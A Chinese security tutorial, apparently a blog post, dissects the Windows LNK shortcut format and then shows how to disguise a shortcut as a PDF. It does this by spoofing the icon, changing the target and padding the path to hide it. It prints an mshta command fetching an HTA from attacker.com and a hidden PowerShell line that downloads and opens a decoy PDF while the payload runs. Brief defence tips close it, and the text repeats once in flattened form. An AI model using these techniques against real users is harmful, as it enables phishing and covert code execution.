LNK文件格式解析及伪装
字数 2813 2025-08-20 18:16:55

LNK文件格式解析及伪装技术详解

0x01 LNK文件格式解析

文件基本结构

LNK文件前20字节固定不变:

  • HeaderSize(4 bytes, offset 0x00):固定值0x0000004C
  • LinkCLSID(16 bytes, offset 0x04):固定GUID值00021401-0000-0000-C000-000000000046

0x01.1 LinkFlags

从offset 0x14开始的4字节为LinkFlags,示例值为0x000802DB,表示以下标志被设置:

  • HasLinkTargetIDList
  • HasLinkInfo
  • HasRelativePath
  • HasWorkingDir
  • HasIconLocation
  • IsUnicode
  • HasExpIcon
  • DisableLinkPathTracking

0x01.2 FileAttributes

从offset 0x18开始的4字节为FileAttributes,0x00000020表示FILE_ATTRIBUTE_ARCHIVE。

0x01.3 时间戳

从offset 0x1C开始,每个时间戳占8字节:

  • CreateTime
  • AccessTime
  • WriteTime

0x01.4 FileSize

从offset 0x34开始的4字节表示文件大小,示例值为0x000E0400。

0x01.5 IconIndex

从offset 0x38开始的4字节表示图标索引,示例值为0x00000001。

0x01.6 ShowCommand & Hotkey

从offset 0x3C开始:

  • ShowCommand(4 bytes):0x00000001表示SW_SHOWNORMAL
  • Hotkey(2 bytes)
  • 保留位(10 bytes)

0x01.7 LinkTargetIDList

当HasLinkTargetIDList标志设为1时,文件包含此结构:

  • IDListSize(2 bytes):表示IDList总大小
  • IDList:由多个ItemID组成
  • TerminalID(2 bytes):全0作为结束标志

每个ItemID结构:

  • ItemIDSize(2 bytes)
  • Data(可变长度)

0x01.8 LinkInfo

当HasLinkInfo标志设为1时,文件包含此结构:

  • LinkInfoSize(4 bytes)
  • LinkInfoHeaderSize(4 bytes):固定值0x0000001C
  • LinkInfoFlags(4 bytes):0x00000001表示VolumeIDAndLocalBasePath
  • VolumeIDOffset(4 bytes)
  • LocalBasePathOffset(4 bytes)
  • CommonNetworkRelativeLinkOffset(4 bytes)
  • CommonPathSuffixOffset(4 bytes)
  • VolumeID结构(包含DriveType、DriveSerialNumber等)
  • LocalBasePath(指向链接目标的完整路径)
  • CommonPathSuffix

0x01.9 String Data

包含多个字符串结构,每个结构包含:

  • CountCharacters(Unicode字符串长度)
  • String(实际字符串内容)

根据LinkFlags可能包含:

  • RELATIVE_PATH字符串
  • WORKING_DIR字符串
  • ICON_LOCATION字符串

0x01.10 EnvironmentVariableDataBlock

当HasExpString标志设为1时,文件包含此结构:

  • BlockSize(4 bytes):固定值0x0314
  • BlockSignature(4 bytes):固定值0xA0000001
  • TargetAnsi(260 bytes):ANSI格式环境变量路径
  • TargetUnicode(520 bytes):Unicode格式环境变量路径

0x01.11 EXTRA_DATA

由多个数据块组成,可能包含:

  1. SpecialFolderDataBlock:

    • BlockSize(4 bytes)
    • BlockSignature(4 bytes):0xA000005
    • SpecialFolderID(4 bytes)
    • Offset(4 bytes)
  2. KnownFolderDataBlock:

    • BlockSize(4 bytes)
    • BlockSignature(4 bytes):0xA00000B
    • KnownFolderID(16 bytes)
    • Offset(4 bytes)
  3. PropertyStoreDataBlock:

    • BlockSize(4 bytes)
    • BlockSignature(4 bytes):0xA000009
    • PropertryStore(492 bytes)
  4. TrackerDataBlock:

    • BlockSize(4 bytes)
    • BlockSignature(4 bytes):0xA000003
    • Length(4 bytes)
    • Version(4 bytes)
    • MachineID(16 bytes)
    • Droid(32 bytes)
    • DroidBirth(32 bytes)

0x02 构造迷惑性LNK文件

0x02.1 修改图标

  1. 找到ICON_LOCATION字符串部分
  2. 修改为伪装的扩展名(如".\1.pdf")
  3. 调整Unicode字符串长度(如0x07)

效果:LNK文件显示为PDF图标,但实际执行的是其他程序。

0x02.2 修改目标

  1. 修改EnvironmentVariableDataBlock中的TargetAnsi和TargetUnicode
    • 改为%windir%\system32目录下不存在的EXE文件名
  2. 修改LinkTargetIDList中对应的ItemID
    • 确保实际指向有效程序(如calc.exe)

效果:文件显示为PDF图标,但实际执行计算器程序。

0x03 扩展利用技术

高级攻击向量

  1. 创建指向mshta.exe的快捷方式
  2. 修改参数为HTA下载地址:
    mshta.exe http://attacker.com/payload.hta
    
  3. 在HTA payload前添加PDF打开逻辑:
    Dim open_pdf
    Set open_pdf = CreateObject("Wscript.Shell")
    open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.3.27:8080/1.pdf',$env:temp+'\LNK文件格式解析(修改版).pdf');Start-Process $env:temp'\LNK文件格式解析(修改版).pdf'", 0, true
    

增强隐蔽性技巧

  1. 在WORKING_DIR字符串前添加大量空格
    • 使目标路径长度超过260个字符
  2. 使用copy /B命令将LNK与正常PDF捆绑
    • 增加文件大小可信度
  3. 修改图标为系统图标库中的常见图标

最终效果:受害者看到PDF文档正常打开,同时恶意代码在后台执行。

防御建议

  1. 禁用LNK文件的自动执行
  2. 显示已知文件扩展名
  3. 对可疑LNK文件进行静态分析
  4. 监控异常进程创建行为
  5. 使用应用程序白名单机制
LNK文件格式解析及伪装技术详解 0x01 LNK文件格式解析 文件基本结构 LNK文件前20字节固定不变: HeaderSize (4 bytes, offset 0x00):固定值0x0000004C LinkCLSID (16 bytes, offset 0x04):固定GUID值00021401-0000-0000-C000-000000000046 0x01.1 LinkFlags 从offset 0x14开始的4字节为LinkFlags,示例值为0x000802DB,表示以下标志被设置: HasLinkTargetIDList HasLinkInfo HasRelativePath HasWorkingDir HasIconLocation IsUnicode HasExpIcon DisableLinkPathTracking 0x01.2 FileAttributes 从offset 0x18开始的4字节为FileAttributes,0x00000020表示FILE_ ATTRIBUTE_ ARCHIVE。 0x01.3 时间戳 从offset 0x1C开始,每个时间戳占8字节: CreateTime AccessTime WriteTime 0x01.4 FileSize 从offset 0x34开始的4字节表示文件大小,示例值为0x000E0400。 0x01.5 IconIndex 从offset 0x38开始的4字节表示图标索引,示例值为0x00000001。 0x01.6 ShowCommand & Hotkey 从offset 0x3C开始: ShowCommand(4 bytes):0x00000001表示SW_ SHOWNORMAL Hotkey(2 bytes) 保留位(10 bytes) 0x01.7 LinkTargetIDList 当HasLinkTargetIDList标志设为1时,文件包含此结构: IDListSize (2 bytes):表示IDList总大小 IDList :由多个ItemID组成 TerminalID (2 bytes):全0作为结束标志 每个ItemID结构: ItemIDSize(2 bytes) Data(可变长度) 0x01.8 LinkInfo 当HasLinkInfo标志设为1时,文件包含此结构: LinkInfoSize(4 bytes) LinkInfoHeaderSize(4 bytes):固定值0x0000001C LinkInfoFlags(4 bytes):0x00000001表示VolumeIDAndLocalBasePath VolumeIDOffset(4 bytes) LocalBasePathOffset(4 bytes) CommonNetworkRelativeLinkOffset(4 bytes) CommonPathSuffixOffset(4 bytes) VolumeID结构(包含DriveType、DriveSerialNumber等) LocalBasePath(指向链接目标的完整路径) CommonPathSuffix 0x01.9 String Data 包含多个字符串结构,每个结构包含: CountCharacters(Unicode字符串长度) String(实际字符串内容) 根据LinkFlags可能包含: RELATIVE_ PATH字符串 WORKING_ DIR字符串 ICON_ LOCATION字符串 0x01.10 EnvironmentVariableDataBlock 当HasExpString标志设为1时,文件包含此结构: BlockSize(4 bytes):固定值0x0314 BlockSignature(4 bytes):固定值0xA0000001 TargetAnsi(260 bytes):ANSI格式环境变量路径 TargetUnicode(520 bytes):Unicode格式环境变量路径 0x01.11 EXTRA_ DATA 由多个数据块组成,可能包含: SpecialFolderDataBlock: BlockSize(4 bytes) BlockSignature(4 bytes):0xA000005 SpecialFolderID(4 bytes) Offset(4 bytes) KnownFolderDataBlock: BlockSize(4 bytes) BlockSignature(4 bytes):0xA00000B KnownFolderID(16 bytes) Offset(4 bytes) PropertyStoreDataBlock: BlockSize(4 bytes) BlockSignature(4 bytes):0xA000009 PropertryStore(492 bytes) TrackerDataBlock: BlockSize(4 bytes) BlockSignature(4 bytes):0xA000003 Length(4 bytes) Version(4 bytes) MachineID(16 bytes) Droid(32 bytes) DroidBirth(32 bytes) 0x02 构造迷惑性LNK文件 0x02.1 修改图标 找到ICON_ LOCATION字符串部分 修改为伪装的扩展名(如".\1.pdf") 调整Unicode字符串长度(如0x07) 效果:LNK文件显示为PDF图标,但实际执行的是其他程序。 0x02.2 修改目标 修改EnvironmentVariableDataBlock中的TargetAnsi和TargetUnicode 改为%windir%\system32目录下不存在的EXE文件名 修改LinkTargetIDList中对应的ItemID 确保实际指向有效程序(如calc.exe) 效果:文件显示为PDF图标,但实际执行计算器程序。 0x03 扩展利用技术 高级攻击向量 创建指向mshta.exe的快捷方式 修改参数为HTA下载地址: 在HTA payload前添加PDF打开逻辑: 增强隐蔽性技巧 在WORKING_ DIR字符串前添加大量空格 使目标路径长度超过260个字符 使用copy /B命令将LNK与正常PDF捆绑 增加文件大小可信度 修改图标为系统图标库中的常见图标 最终效果:受害者看到PDF文档正常打开,同时恶意代码在后台执行。 防御建议 禁用LNK文件的自动执行 显示已知文件扩展名 对可疑LNK文件进行静态分析 监控异常进程创建行为 使用应用程序白名单机制